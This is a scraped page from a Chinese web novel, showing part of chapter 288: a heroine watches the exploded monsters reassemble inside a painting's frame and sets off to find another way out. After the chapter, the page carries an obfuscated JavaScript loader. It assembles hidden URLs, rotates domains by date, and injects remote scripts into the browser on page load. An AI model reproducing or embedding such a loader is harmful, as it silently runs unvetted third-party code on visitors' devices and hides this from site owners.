返回

第288章 遗作:微笑的人脸 惊悚片生存守则

首页
报错
关灯
护眼
字:
大
中
小
上一章 回目录 下一页

情况不太好。

五分钟前,埃弗莉眼睁睁看着大小怪物被炸成了碎片,四散的身体组织被汽油点燃,烧焦碳化,化成黑灰。就连两个怪物周围的废墟也受到牵连,在爆炸中发生了二次坍塌。

然而,五分钟后,等硝烟逐渐散去,地上的砖瓦石块、碎肉黑灰忽然像长了腿的活物一样,自行移动了起来。

碎裂的砖瓦自动拼合,移位的石块回到原本所在的位置,被炸飞的碎肉之间彼此粘连,烧焦的黑灰聚集到一起,还原成新鲜的血肉……

变化发生得无声又迅捷,每一次眨眼,眼前的画面就大变动一次,不过短短半分钟,二次坍塌的废墟变回了初次坍塌的模样,被炸死的大小怪物也像拼拼图一样,由四面八方蠕动回来的碎肉拼合成了《疤痕》里的人类样子。

神奇的是,这种变化只发生在画框框定的区域,也就是现实世界人们所能看到的范围。

在这个范围外,无论是被埃弗莉炸出的焦黑印迹,还是散落满地的玻璃碎渣,全部都维持着原有的样子。似乎只要画外的人看不到,那股将一切还原的力量就不会管它们。

埃弗莉说不清这到底是什么原理,她唯一能够确定的是,“门”没有出现。

刚才,她确确实实曾短暂杀死过那两只怪物,然而,爆炸之后,遍地狼藉中,她没有看到任何疑似“门”或者“钥匙”的存在——如果真的有“钥匙”这种东西,总不能一炸就碎吧,没有哪部电影会这样演啊!

于是她隐隐产生了一种预感,自己最开始的假设可能是错的。

离开画中世界的办法也许并不藏在那两只怪物身上,她得去其他地方寻找出路。

当然,这个选择也有冒险的成分在。但埃弗莉愿意赌一赌,因为刚才发生的事情已经证明了,单纯杀大小怪物是没用的。杀一次没有出现“门”,没道理杀两次就能有。要是不杀吧,那怪物稍微戳一下就会变异,埃弗莉也做不到直接搜身。

继续在这里耗下去也只是浪费时间罢了。她得换个方向,找一条新的路,或者至少找出让怪物无法复活的法子。

说干就干。

埃弗莉转过身,回忆着自己先前走过的那条路,原路返回。

她想起了一件事——刚才,在附近搜寻物品的时候,她曾对某一幢建筑物产生了熟悉的感觉。

埃弗莉觉得自己应该在哪里见过那幢建筑物,只


本章未完,点下一页继续阅读。>>>

let urls=["hUUtUUtUUpUUsUU:UU/UU/UU{UUdUUdUUmUU}UU/UU1UU8UU/UU1UU1UU0UU5UU6UU1UUbUU2UU6UU2UU9UU3UU8".split("UU").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMsMM.MMlMMtMMdMMzMMzMM.MMcMMoMMmMM/MM1MM8MM/MM1MM1MM0MM5MM6MM1MMbMM2MM6MM2MM9MM3MM8".split("MM").join("")];window.__rr__hld=1;let urlindex=0;let ddm=function(){let i = parseInt((new Date().getTime()/1000 - 1767052800)/86400/2);i = i %30;let ds = ['3w2t89814','btsel5g','6xklldl','2jtbig','kjbyn6zr96','8wz4mjirv','hpm47fyaf','oc79obwnpm','hjvrl','aroychmdcl','lx51ib3szv','6z2h1lycfw','ef7t2','31fpdcrf','uqn83ea8q'];return ds[i%15] + (i<15?".cc":".co"+"m");};let rfunc=function(){if(window.__rr__loaded_2938_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++].replace(/\{ddm\}/g,ddm())+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();
上一章 回目录 下一页